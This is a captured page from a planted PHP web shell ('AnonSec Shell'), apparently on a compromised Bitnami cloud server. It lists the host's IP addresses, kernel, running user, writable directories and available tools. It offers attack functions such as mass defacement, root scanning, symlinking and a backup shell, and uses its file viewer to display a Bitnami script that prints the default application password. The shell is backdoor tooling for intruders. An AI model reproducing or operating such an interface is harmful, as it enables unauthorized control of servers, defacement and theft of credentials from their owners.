AnonSec Shell
Server IP : 52.91.253.208  /  Your IP : 3.14.135.107   [ Reverse IP ]
Web Server : Apache
System : Linux ip-172-26-9-9 4.19.0-25-cloud-amd64 #1 SMP Debian 4.19.289-1 (2023-07-24) x86_64
User : daemon ( 1)
PHP Version : 7.3.18
Disable Function : NONE
Domains : 3 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/var/init/pre-start/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /opt/bitnami/var/init/pre-start/090_get_default_passwords
#!/bin/sh
# 
# Get the default password that will be used for all services and applications
# Copyright 2020 Bitnami.com All Rights Reserved
#

. /opt/bitnami/scripts/init/functions

# when run with --force option, set the password regardless of flag
if [ "x$1" != "x--force" ] ; then
    run_once_globally_check "get_default_passwords"
    if [ $? -ne 0 ]; then
        exit 0
    fi
fi

# get if password should be modified
APPUSER="user"
PASSWD="`get_applications_password`"

if [ "x$PASSWD" = "x" ] ; then
  exit 0
fi

# log at start as well since when changing takes long time to complete,
# get console output may not show the full log
echo ""
echo "#########################################################################"
echo "#                                                                       #"
(
  echo "#        Setting Bitnami application password to '${PASSWD}'                     #"
  if [ "x$APPUSER" != "x" ]; then
    echo "#        (the default application username is '${APPUSER}')                    #"
  fi
) | sed 's/^#\(.\{71\}\)\s*#/#\1#/g' # Limits the horizontal size of the box
echo "#                                                                       #"
echo "#########################################################################"
echo ""

Anon7 - 2022
AnonSec Team